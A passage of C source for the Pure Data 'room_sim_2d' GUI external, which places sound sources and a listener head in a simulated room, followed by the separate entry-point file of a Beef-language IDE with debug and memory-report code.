maxdiff = diff;
sel = i;
}
}
fsi *= 2;
fsi /= 3;
for (i = 1; i <= n; i++)
{
if ((w >= (x->x_pix_src_x[i] - fsi)) &&
(w <= (x->x_pix_src_x[i] + fsi)) &&
(h >= (x->x_pix_src_y[i] - fsi)) &&
(h <= (x->x_pix_src_y[i] + fsi)))
{
diff = w - x->x_pix_src_x[i];
if (diff < 0)
diff *= -1;
if (diff < maxdiff)
{
maxdiff = diff;
sel = i;
}
diff = h - x->x_pix_src_y[i];
if (diff < 0)
diff *= -1;
if (diff < maxdiff)
{
maxdiff = diff;
sel = i;
}
}
}
if (sel >= 0)
{
x->x_sel_index = sel;
x->x_pos_x = x->x_pix_src_x[sel];
x->x_pos_y = x->x_pix_src_y[sel];
glist_grab(x->x_gui.x_glist, &x->x_gui.x_obj.te_g,
(t_glistmotionfn)room_sim_2d_motion, 0, xpos, ypos);
}
}
static int room_sim_2d_newclick(t_gobj *z, struct _glist *glist, int xpix,
int ypix, int shift, int alt, int dbl, int doit)
{
t_room_sim_2d* x = (t_room_sim_2d *)z;
if (doit)
{
room_sim_2d_click(x, (t_floatarg)xpix, (t_floatarg)ypix, (t_floatarg)shift,
0, (t_floatarg)alt);
if (shift)
{
x->x_gui.x_finemoved = 1;
room_sim_2d_out_rho(x);
}
else
{
x->x_gui.x_finemoved = 0;
room_sim_2d_out_para(x);
}
}
return (1);
}
static void room_sim_2d_bang(t_room_sim_2d *x)
{
room_sim_2d_out_para(x);
room_sim_2d_out_rho(x);
}
static void room_sim_2d_src_font(t_room_sim_2d *x, t_floatarg ff)
{
int fs = (int)(ff + 0.49999f);
int i, n = x->x_nr_src;
t_canvas *canvas = glist_getcanvas(x->x_gui.x_glist);
if (fs < 8)
fs = 8;
if (fs > 250)
fs = 250;
x->x_fontsize = fs;
for (i = 1; i <= n; i++)
{
// sys_vgui(".x%x.c itemconfigure %xSRC%d -font {times %d bold}\n", canvas, x, i, fs);
gui_vmess("gui_room_sim_fontsize", "xxii",
canvas, x, i, fs);
}
}
static void room_sim_2d_set_rho(t_room_sim_2d *x, t_floatarg rho)
{
while (rho <= -180.0f)
rho += 360.0f;
while (rho > 180.0f)
rho -= 360.0f;
x->x_rho_head = rho;
(*x->x_gui.x_draw)(x, x->x_gui.x_glist, IEM_GUI_DRAW_MODE_UPDATE);
}
static void room_sim_2d_rho(t_room_sim_2d *x, t_floatarg rho)
{
room_sim_2d_set_rho(x, rho);
room_sim_2d_out_rho(x);
}
static void room_sim_2d_set_src_xy(t_room_sim_2d *x, t_symbol *s, int argc, t_atom *argv)
{
char col[MAXPDSTRING];
t_float xsrc, ysrc;
t_float roomx2=0.5f*x->x_room_x, roomy2=0.5f*x->x_room_y;
int i, n = x->x_nr_src;
int xpos = text_xpix(&x->x_gui.x_obj, x->x_gui.x_glist);
int ypos = text_ypix(&x->x_gui.x_obj, x->x_gui.x_glist);
int w2 = x->x_gui.x_w/2, h2 = x->x_gui.x_h/2;
t_canvas *canvas = glist_getcanvas(x->x_gui.x_glist);
if (argc < 3)
{
post("room_sim_2d ERROR: src_xy-input needs 1 index + 2 float-dimensions: "
"src_index, x [m], y [m]");
return;
}
i = (int)atom_getint(argv++);
if ((i > 0) && (i <= n))
{
ysrc = atom_getfloat(argv++);
xsrc = atom_getfloat(argv);
if (xsrc < -roomy2)
xsrc = -roomy2;
if (xsrc > roomy2)
xsrc = roomy2;
if (ysrc < -roomx2)
ysrc = -roomx2;
if (ysrc > roomx2)
ysrc = roomx2;
x->x_pix_src_x[i] = w2 - (int)(x->x_cnvrt_roomlx2pixh * xsrc + 0.49999f);
x->x_pix_src_y[i] = h2 - (int)(x->x_cnvrt_roomlx2pixh * ysrc + 0.49999f);
// sys_vgui(".x%x.c coords %xSRC%d %d %d\n",
// canvas, x, i, xpos+x->x_pix_src_x[i], ypos+x->x_pix_src_y[i]);
sprintf(col, "#%6.6x", x->x_col_src[i]);
gui_vmess("gui_room_sim_update_src", "xxiiiis",
canvas,
x,
i - 1,
x->x_pix_src_x[i],
x->x_pix_src_y[i],
x->x_fontsize,
col
);
}
}
static void room_sim_2d_src_xy(t_room_sim_2d *x, t_symbol *s, int argc, t_atom *argv)
{
room_sim_2d_set_src_xy(x, s, argc, argv);
room_sim_2d_out_para(x);
}
static void room_sim_2d_set_head_xy(t_room_sim_2d *x, t_symbol *s, int argc,
t_atom *argv)
{
int pixrad = x->x_pix_rad;
int xpos = text_xpix(&x->x_gui.x_obj, x->x_gui.x_glist);
int ypos = text_ypix(&x->x_gui.x_obj, x->x_gui.x_glist);
int w2 = x->x_gui.x_w / 2, h2=x->x_gui.x_h / 2;
int ddx, ddy;
t_float xh, yh;
t_float roomx2 = 0.5f * x->x_room_x,
roomy2 = 0.5f * x->x_room_y;
t_canvas *canvas = glist_getcanvas(x->x_gui.x_glist);
if (argc < 2)
{
post("room_sim_2d ERROR: head_xy-input needs 2 float-dimensions: x [m], y [m]");
return;
}
yh = atom_getfloat(argv++);
xh = atom_getfloat(argv);
if (xh < -roomy2)
xh = -roomy2;
if (xh > roomy2)
xh = roomy2;
if (yh < -roomx2)
yh = -roomx2;
if (yh > roomx2)
yh = roomx2;
x->x_pix_src_x[0] = w2 - (int)(x->x_cnvrt_roomlx2pixh * xh + 0.49999f);
x->x_pix_src_y[0] = h2 - (int)(x->x_cnvrt_roomlx2pixh * yh + 0.49999f);
// sys_vgui(".x%x.c coords %xHEAD %d %d %d %d\n",
// canvas, x, xpos+x->x_pix_src_x[0]-pixrad, ypos+x->x_pix_src_y[0]-pixrad,
// xpos+x->x_pix_src_x[0]+pixrad-1, ypos+x->x_pix_src_y[0]+pixrad-1);
// ddx = -(int)((t_float)pixrad*(t_float)sin(x->x_rho_head*0.0174533f) + 0.49999f);
// ddy = -(int)((t_float)pixrad*(t_float)cos(x->x_rho_head*0.0174533f) + 0.49999f);
// sys_vgui(".x%x.c coords %xNOSE %d %d %d %d\n",
// canvas, x, xpos+x->x_pix_src_x[0], ypos+x->x_pix_src_y[0],
// xpos+x->x_pix_src_x[0]+ddx, ypos+x->x_pix_src_y[0]+ddy);
(*x->x_gui.x_draw)(x, x->x_gui.x_glist, IEM_GUI_DRAW_MODE_UPDATE);
}
static void room_sim_2d_head_xy(t_room_sim_2d *x, t_symbol *s, int argc, t_atom *argv)
{
room_sim_2d_set_head_xy(x, s, argc, argv);
room_sim_2d_out_para(x);
}
static void room_sim_2d_room_dim(t_room_sim_2d *x, t_symbol *s, int argc, t_atom *argv)
{
int i, n = x->x_nr_src;
if (argc < 2)
{
post("room_sim_2d ERROR: room_dim-input needs 2 float-dimensions: x-Length [m], y-Width [m]");
return;
}
x->x_room_x = atom_getfloat(argv++);
x->x_room_y = atom_getfloat(argv);
if (x->x_room_x < 1.0f)
x->x_room_x = 1.0f;
if (x->x_room_y < 1.0f)
x->x_room_y = 1.0f;
x->x_gui.x_h = (int)(x->x_cnvrt_roomlx2pixh * (t_float)x->x_room_x + 0.49999f);
x->x_gui.x_w = (int)(x->x_cnvrt_roomlx2pixh * (t_float)x->x_room_y + 0.49999f);
for (i = 1; i <= n; i++)
{
if (x->x_pix_src_x[i] > x->x_gui.x_w)
x->x_pix_src_x[i] = x->x_gui.x_w;
if (x->x_pix_src_y[i] > x->x_gui.x_h)
x->x_pix_src_y[i] = x->x_gui.x_h;
}
room_sim_2d_out_para(x);
(*x->x_gui.x_draw)(x, x->x_gui.x_glist, IEM_GUI_DRAW_MODE_MOVE);
canvas_fixlinesfor(glist_getcanvas(x->x_gui.x_glist), (t_text*)x);
}
/*static void room_sim_2d_n_src(t_room_sim_2d *x, t_floatarg fnsrc)
{
int n_src = (int)fnsrc;
if (n_src < 1)
n_src = 1;
if (n_src > 30)
n_src = 30;
if (n_src != x->x_nr_src)
{
// (*x->x_gui.x_draw)(x, x->x_gui.x_glist, IEM_GUI_DRAW_MODE_ERASE);
room_sim_2d_draw_unmap(x, x->x_gui.x_glist);
x->x_nr_src = n_src;
// (*x->x_gui.x_draw)(x, x->x_gui.x_glist, IEM_GUI_DRAW_MODE_NEW);
room_sim_2d_draw_map(x, x->x_gui.x_glist);
}
}
*/
static void room_sim_2d_room_col(t_room_sim_2d *x, t_floatarg fcol)
{
int col = (int)fcol;
char fgstring[MAXPDSTRING];
char bgstring[MAXPDSTRING];
int i;
t_canvas *canvas = glist_getcanvas(x->x_gui.x_glist);
if (col < 0)
{
i = -1 - col;
x->x_gui.x_bcol = ((i & 0x3f000) << 6)|((i & 0xfc0) << 4)|((i & 0x3f) << 2);
}
else
{
if (col > 29)
col = 29;
x->x_gui.x_bcol = my_iemgui_color_hex[col];
}
sprintf(fgstring, "#%6.6x", x->x_gui.x_fcol);
sprintf(bgstring, "#%6.6x", x->x_gui.x_bcol);
gui_vmess("gui_room_sim_colors", "xxss",
canvas,
x,
fgstring,
bgstring
);
// sys_vgui(".x%x.c itemconfigure %xBASE -fill #%6.6x\n", canvas, x, x->x_gui.x_bcol);
}
static void room_sim_2d_head_col(t_room_sim_2d *x, t_floatarg fcol)
{
int col = (int)fcol;
char fgstring[MAXPDSTRING];
char bgstring[MAXPDSTRING];
int i;
t_canvas *canvas=glist_getcanvas(x->x_gui.x_glist);
if (col < 0)
{
i = -1 - col;
x->x_gui.x_fcol = ((i & 0x3f000) << 6)|((i & 0xfc0) << 4)|((i & 0x3f) << 2);
}
else
{
if (col > 29)
col = 29;
x->x_gui.x_fcol = my_iemgui_color_hex[col];
}
sprintf(fgstring, "#%6.6x", x->x_gui.x_fcol);
sprintf(bgstring, "#%6.6x", x->x_gui.x_bcol);
gui_vmess("gui_room_sim_colors", "xxss",
canvas,
x,
fgstring,
bgstring
);
//sys_vgui(".x%x.c itemconfigure %xHEAD -outline #%6.6x\n", canvas, x, x->x_gui.x_fcol);
//sys_vgui(".x%x.c itemconfigure %xNOSE -fill #%6.6x\n", canvas, x, x->x_gui.x_fcol);
}
static void room_sim_2d_src_col(t_room_sim_2d *x, t_symbol *s, int argc, t_atom *argv)
{
int col;
char colstring[MAXPDSTRING];
int i, j, n = x->x_nr_src;
t_canvas *canvas = glist_getcanvas(x->x_gui.x_glist);
if ((argc >= 2) && IS_A_FLOAT(argv,0) && IS_A_FLOAT(argv,1))
{
j = (int)atom_getintarg(0, argc, argv);
if ((j > 0)&&(j <= n))
{
col = (int)atom_getintarg(1, argc, argv);
if (col < 0)
{
i = -1 - col;
x->x_col_src[j] = ((i & 0x3f000) << 6) |
((i & 0xfc0) << 4) |
((i & 0x3f) << 2);
}
else
{
if (col > 29)
{
col = 29;
}
x->x_col_src[j] = my_iemgui_color_hex[col];
}
sprintf(colstring, "#%6.6x", x->x_col_src[j]);
gui_vmess("gui_room_sim_update_src", "xxiiiis",
canvas,
x,
j,
x->x_pix_src_x[j],
x->x_pix_src_y[j],
x->x_fontsize,
colstring
);
// sys_vgui(".x%x.c itemconfigure %xSRC%d -fill #%6.6x\n", canvas, x, j, x->x_col_src[j]);
}
}
}
static void room_sim_2d_pix_per_m_ratio(t_room_sim_2d *x, t_floatarg ratio)
{
t_float rr;
int i, n = x->x_nr_src;
if (ratio < 1.0f)
ratio = 1.0f;
if (ratio > 200.0f)
ratio = 200.0f;
rr = ratio / x->x_cnvrt_roomlx2pixh;
x->x_cnvrt_roomlx2pixh = ratio;
x->x_gui.x_w = (int)(x->x_cnvrt_roomlx2pixh * x->x_room_y + 0.49999f);
x->x_gui.x_h = (int)(x->x_cnvrt_roomlx2pixh * x->x_room_x + 0.49999f);
x->x_pix_rad = (int)(x->x_cnvrt_roomlx2pixh * x->x_r_ambi + 0.49999f);
for (i = 0; i <= n; i++)
{
x->x_pix_src_x[i] = (int)((t_float)x->x_pix_src_x[i]*rr + 0.49999f);
x->x_pix_src_y[i] = (int)((t_float)x->x_pix_src_y[i]*rr + 0.49999f);
}
(*x->x_gui.x_draw)(x, x->x_gui.x_glist, IEM_GUI_DRAW_MODE_MOVE);
canvas_fixlinesfor(glist_getcanvas(x->x_gui.x_glist), (t_text*)x);
}
static void room_sim_2d_r_ambi(t_room_sim_2d *x, t_floatarg r_ambi)
{
if (r_ambi < 0.1f)
r_ambi = 0.1f;
x->x_r_ambi = r_ambi;
x->x_pix_rad = (int)(x->x_cnvrt_roomlx2pixh*r_ambi + 0.49999f);
room_sim_2d_out_para(x);
(*x->x_gui.x_draw)(x, x->x_gui.x_glist, IEM_GUI_DRAW_MODE_MOVE);
}
static void room_sim_2d_nr_src(t_room_sim_2d *x, t_floatarg fnr_src)
{
int nr_src = (int)fnr_src;
int old_nr_src, i, j;
if (nr_src < 1)
nr_src = 1;
else if (nr_src > IEM_GUI_ROOMSIM_2D_MAX_NR_SRC)
nr_src = IEM_GUI_ROOMSIM_2D_MAX_NR_SRC;
if (nr_src != x->x_nr_src)
{
if (glist_isvisible(x->x_gui.x_glist))
room_sim_2d_draw_unmap(x, x->x_gui.x_glist);
// (*x->x_gui.x_draw)(x, x->x_gui.x_glist, IEM_GUI_DRAW_MODE_ERASE);
old_nr_src = x->x_nr_src;
x->x_nr_src = nr_src;
j = (old_nr_src + 1) % 7;
for (i = old_nr_src + 1; i <= nr_src; i++)
{
x->x_col_src[i] = simularca_color_hex[j];
if (i & 1)
x->x_pix_src_x[i] = 125 + (IEM_GUI_ROOMSIM_2D_MAX_NR_SRC - i) * 4;
else
x->x_pix_src_x[i] = 125 - (IEM_GUI_ROOMSIM_2D_MAX_NR_SRC - i) * 4;
x->x_pix_src_y[i] = 100;
j++;
j %= 7;
}
if (glist_isvisible(x->x_gui.x_glist))
room_sim_2d_draw_map(x, x->x_gui.x_glist);
// (*x->x_gui.x_draw)(x, x->x_gui.x_glist, IEM_GUI_DRAW_MODE_NEW);
}
}
/* we may no longer need h_dragon... */
static void room_sim_2d__clickhook(t_scalehandle *sh, int newstate)
{
t_room_sim_2d *x = (t_room_sim_2d *)(sh->h_master);
if (newstate)
{
canvas_apply_setundo(x->x_gui.x_glist, (t_gobj *)x);
if (!sh->h_scale) /* click on a label handle */
scalehandle_click_label(sh);
}
/* We no longer need this "clickhook", as we can handle the dragging
either in the GUI (for the label handle) or or in canvas_doclick */
//iemgui__clickhook3(sh,newstate);
sh->h_dragon = newstate;
}
static void room_sim_2d__motionhook(t_scalehandle *sh,
t_floatarg mouse_x, t_floatarg mouse_y)
{
if (sh->h_scale)
{
t_room_sim_2d *x = (t_room_sim_2d *)(sh->h_master);
int width = mouse_x - text_xpix(&x->x_gui.x_obj, x->x_gui.x_glist),
height = mouse_y - text_ypix(&x->x_gui.x_obj, x->x_gui.x_glist),
minx = IEM_GUI_MINSIZE,
miny = IEM_GUI_MINSIZE;
x->x_gui.x_w = maxi(width, minx);
x->x_gui.x_h = maxi(height, miny);
// slider_check_length(x, x->x_orient ? x->x_gui.x_h : x->x_gui.x_w);
if (glist_isvisible(x->x_gui.x_glist))
{
room_sim_2d_draw_unmap(x, x->x_gui.x_glist);
room_sim_2d_draw_map(x, x->x_gui.x_glist);
scalehandle_unclick_scale(sh);
}
int properties = gfxstub_haveproperties((void *)x);
if (properties)
{
/* No properties for room_sim externals atm */
//properties_set_field_int(properties,"width",new_w);
//properties_set_field_int(properties,"height",new_h);
}
}
scalehandle_dragon_label(sh,mouse_x, mouse_y);
}
/* from the old header... */
#define IEM_GUI_COLNR_GREEN 16
#define IEM_GUI_COLNR_D_ORANGE 24
static void *room_sim_2d_new(t_symbol *s, int argc, t_atom *argv)
{
t_room_sim_2d *x = (t_room_sim_2d *)pd_new(room_sim_2d_class);
int i, j, n = 1, c;
if ((argc >= 1) && IS_A_FLOAT(argv,0))
{
n = (int)atom_getintarg(0, argc, argv);
if (n < 1)
n = 1;
if (n > IEM_GUI_ROOMSIM_2D_MAX_NR_SRC)
n = IEM_GUI_ROOMSIM_2D_MAX_NR_SRC;
x->x_nr_src = n;
}
if (argc == (3 * n + 11))
{
x->x_cnvrt_roomlx2pixh = atom_getfloatarg(1, argc, argv);
x->x_rho_head = atom_getfloatarg(2, argc, argv);
x->x_r_ambi = atom_getfloatarg(3, argc, argv);
x->x_fontsize = (int)atom_getintarg(4, argc, argv);
c = (int)atom_getintarg(5, argc, argv);
x->x_gui.x_bcol = ((c & 0x3f000) << 6)|((c & 0xfc0) << 4)|((c & 0x3f) << 2);
x->x_room_x = atom_getfloatarg(6, argc, argv);
x->x_room_y = atom_getfloatarg(7, argc, argv);
c = (int)atom_getintarg(8, argc, argv);
x->x_gui.x_fcol = ((c & 0x3f000) << 6)|((c & 0xfc0) << 4)|((c & 0x3f) << 2);
x->x_pix_src_x[0] = (int)atom_getintarg(9, argc, argv);
x->x_pix_src_y[0] = (int)atom_getintarg(10, argc, argv);
for (i = 1; i <= n; i++)
{
c = (int)atom_getintarg(8+3*i, argc, argv);
x->x_col_src[i] = ((c & 0x3f000) << 6) |
((c & 0xfc0) << 4) |
((c & 0x3f) << 2);
x->x_pix_src_x[i] = (int)atom_getintarg(9 + 3 * i, argc, argv);
x->x_pix_src_y[i] = (int)atom_getintarg(10 + 3 * i, argc, argv);
}
}
else
{
x->x_cnvrt_roomlx2pixh = 25.0f;
x->x_rho_head = 0.0f;
x->x_r_ambi = 1.4f;
x->x_fontsize = 12;
x->x_gui.x_bcol = my_iemgui_color_hex[IEM_GUI_COLNR_GREEN];
x->x_room_x = 12.0f;
x->x_room_y = 10.0f;
x->x_gui.x_fcol = my_iemgui_color_hex[IEM_GUI_COLNR_D_ORANGE];
x->x_pix_src_x[0] = 125;
x->x_pix_src_y[0] = 200;
j = 0;
for (i = 1; i <= n; i++)
{
x->x_col_src[i] = simularca_color_hex[j];
if (i & 1)
x->x_pix_src_x[i] = 125 + (IEM_GUI_ROOMSIM_2D_MAX_NR_SRC - i) * 4;
else
x->x_pix_src_x[i] = 125 - (IEM_GUI_ROOMSIM_2D_MAX_NR_SRC - i) * 4;
x->x_pix_src_y[i] = 100;
j++;
j %= 7;
}
}
x->x_gui.x_w = (int)(x->x_room_y*x->x_cnvrt_roomlx2pixh + 0.49999f);
x->x_gui.x_h = (int)(x->x_room_x*x->x_cnvrt_roomlx2pixh + 0.49999f);
x->x_pix_rad = (int)(x->x_r_ambi*x->x_cnvrt_roomlx2pixh + 0.49999f);
x->x_gui.x_draw = (t_iemfunptr)room_sim_2d_draw;
x->x_gui.x_glist = (t_glist *)canvas_getcurrent();
x->x_out_para = outlet_new(&x->x_gui.x_obj, &s_list);
x->x_out_rho = outlet_new(&x->x_gui.x_obj, &s_float);
x->x_s_head_xy = gensym("head_xy");
x->x_s_src_xy = gensym("src_xy");
x->x_gui.x_lab = s_empty;
x->x_gui.x_obj.te_iemgui = 1;
x->x_gui.x_handle = scalehandle_new((t_object *)x,
x->x_gui.x_glist, 1, room_sim_2d__clickhook, room_sim_2d__motionhook);
x->x_gui.x_lhandle = scalehandle_new((t_object *)x,
x->x_gui.x_glist, 0, room_sim_2d__clickhook, room_sim_2d__motionhook);
return (x);
}
static void room_sim_2d_ff(t_room_sim_2d *x)
{
gfxstub_deleteforkey(x);
}
void room_sim_2d_setup(void)
{
room_sim_2d_class = class_new(gensym("room_sim_2d"),
(t_newmethod)room_sim_2d_new, (t_method)room_sim_2d_ff,
sizeof(t_room_sim_2d), 0, A_GIMME, 0);
// class_addcreator((t_newmethod)room_sim_2d_new, gensym("room_sim_2d"), A_GIMME, 0);
class_addmethod(room_sim_2d_class, (t_method)room_sim_2d_click,
gensym("click"),
A_FLOAT, A_FLOAT, A_FLOAT, A_FLOAT, A_FLOAT, 0);
class_addmethod(room_sim_2d_class, (t_method)room_sim_2d_motion,
gensym("motion"),
A_FLOAT, A_FLOAT, 0);
class_addbang(room_sim_2d_class, (t_method)room_sim_2d_bang);
class_addmethod(room_sim_2d_class, (t_method)room_sim_2d_room_dim,
gensym("room_dim"), A_GIMME, 0);
class_addmethod(room_sim_2d_class, (t_method)room_sim_2d_r_ambi,
gensym("r_ambi"), A_DEFFLOAT, 0);
class_addmethod(room_sim_2d_class, (t_method)room_sim_2d_room_col,
gensym("room_col"), A_DEFFLOAT, 0);
class_addmethod(room_sim_2d_class, (t_method)room_sim_2d_head_col,
gensym("head_col"), A_DEFFLOAT, 0);
class_addmethod(room_sim_2d_class, (t_method)room_sim_2d_src_col,
gensym("src_col"), A_GIMME, 0);
class_addmethod(room_sim_2d_class, (t_method)room_sim_2d_rho,
gensym("rho"), A_DEFFLOAT, 0);
class_addmethod(room_sim_2d_class, (t_method)room_sim_2d_src_xy,
gensym("src_xy"), A_GIMME, 0);
class_addmethod(room_sim_2d_class, (t_method)room_sim_2d_head_xy,
gensym("head_xy"), A_GIMME, 0);
class_addmethod(room_sim_2d_class, (t_method)room_sim_2d_set_rho,
gensym("set_rho"), A_DEFFLOAT, 0);
class_addmethod(room_sim_2d_class, (t_method)room_sim_2d_set_src_xy,
gensym("set_src_xy"), A_GIMME, 0);
class_addmethod(room_sim_2d_class, (t_method)room_sim_2d_set_head_xy,
gensym("set_head_xy"), A_GIMME, 0);
class_addmethod(room_sim_2d_class, (t_method)room_sim_2d_pix_per_m_ratio,
gensym("pix_per_m_ratio"), A_DEFFLOAT, 0);
class_addmethod(room_sim_2d_class, (t_method)room_sim_2d_src_font,
gensym("src_font"), A_DEFFLOAT, 0);
class_addmethod(room_sim_2d_class, (t_method)room_sim_2d_nr_src,
gensym("nr_src"), A_DEFFLOAT, 0);
room_sim_2d_widgetbehavior.w_getrectfn = room_sim_2d_getrect;
room_sim_2d_widgetbehavior.w_displacefn = iemgui_displace;
room_sim_2d_widgetbehavior.w_displacefnwtag = iemgui_displace_withtag;
room_sim_2d_widgetbehavior.w_selectfn = iemgui_select;
room_sim_2d_widgetbehavior.w_activatefn = NULL;
room_sim_2d_widgetbehavior.w_deletefn = iemgui_delete;
room_sim_2d_widgetbehavior.w_visfn = iemgui_vis;
room_sim_2d_widgetbehavior.w_clickfn = room_sim_2d_newclick;
#if defined(PD_MAJOR_VERSION) && (PD_MINOR_VERSION >= 37)
class_setsavefn(room_sim_2d_class, room_sim_2d_save);
#else
room_sim_2d_widgetbehavior.w_propertiesfn = NULL;
room_sim_2d_widgetbehavior.w_savefn = room_sim_2d_save;
#endif
class_setwidget(room_sim_2d_class, &room_sim_2d_widgetbehavior);
// class_sethelpsymbol(room_sim_2d_class, gensym("iemhelp2/help-room_sim_2d"));
}
| {
"pile_set_name": "Github"
} |
using System;
using System.Collections;
using System.Text;
using System.Threading;
using System.Diagnostics;
using IDE.Debugger;
using System.IO;
using Beefy;
using Beefy.utils;
using IDE.Util;
namespace IDE
{
public class Program
{
//System.Collections.List<System.String> list;
static int32 Main(String[] args)
{
#if SMALLTEST
Debug.WriteLine("Hey!\n");
#else
IDEApp mApp = new IDEApp();
mApp.ParseCommandLine(args);
mApp.Init();
/*mApp.mScriptManager.mExpectingError = new String("Fart");
mApp.mRunningTestScript = true;
mApp.Fail("Fart");*/
mApp.Run();
mApp.Shutdown();
int32 retVal = mApp.mFailed ? 1 : 0;
delete mApp;
//TODO: REMOVE!
//Thread.Sleep(30000);
#endif
return retVal;
}
}
}
namespace A0
{
[AlwaysInclude]
static class ProgramDtor
{
static ~this()
{
IDE.IDEApp.[Friend]IDEHelper_ProgramDone();
#if BF_PLATFORM_WINDOWS
if (IDE.IDEApp.sExitTest)
{
Internal.ReportMemory();
GC.Report();
GC.DebugDumpLeaks();
GC.Shutdown();
Windows.MessageBoxA((Windows.HWnd)0, "Hey", "Yo", 0);
}
#endif
}
static void Test()
{
/*int a;
a = 1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1;
a = 1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1;
a = 1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1;
a = 1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1;
a = 1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1;
a = 1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1;
a = 1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1;
a = 1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1;
a = 1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1;
a = 1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1;
a = 1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1;
a = 1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1;
a = 1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1;
